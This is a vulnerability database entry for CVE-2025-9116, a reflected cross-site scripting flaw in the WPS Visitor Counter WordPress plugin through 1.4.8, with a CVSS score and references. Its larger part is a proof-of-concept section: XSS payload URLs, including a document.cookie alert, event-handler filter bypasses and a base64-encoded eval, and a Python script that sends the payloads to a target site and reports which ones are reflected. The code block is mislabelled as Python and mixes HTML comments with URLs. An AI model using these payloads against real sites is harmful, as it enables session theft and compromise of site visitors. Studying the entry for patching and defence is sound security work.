CVE-2025-9116

Description

The WPS Visitor Counter WordPress plugin through 1.4.8 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers.

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPS Visitor Counter WordPress插件 <= 1.4.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-9116 PoC - WPS Visitor Counter Reflected XSS -->
<!-- 构造恶意URL触发反射型XSS -->

<!-- 基本XSS payload -->
https://example.com/wordpress/?page_id=<script>alert(document.cookie)</script>

<!-- 使用HTML事件处理器绕过过滤 -->
https://example.com/wordpress/?page_id=<img src=x onerror=alert('XSS')>
https://example.com/wordpress/?page_id=<svg onload=alert('XSS')>
https://example.com/wordpress/?page_id=<body onload=alert('XSS')>

<!-- 绕过引号过滤的payload -->
https://example.com/wordpress/?page_id=<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>

<!-- 自动化测试Python脚本 -->
import requests

target_url = "http://target-wordpress-site.com/"
payloads = [
    "<script>alert(document.domain)</script>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
    "<iframe src=javascript:alert(1)>",
]

for payload in payloads:
    test_url = target_url + "?page_id=" + payload
    response = requests.get(test_url)
    if payload in response.text:
        print(f"[VULN] XSS payload reflected: {payload}")
        print(f"URL: {test_url}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9116
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9116
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9116/
[4] VulDB https://vuldb.com/cve/CVE-2025-9116
[5] https://wpscan.com/vulnerability/fe2eb926-96e8-419e-bf41-5531546e6590/

Raw JSON Data

JSON

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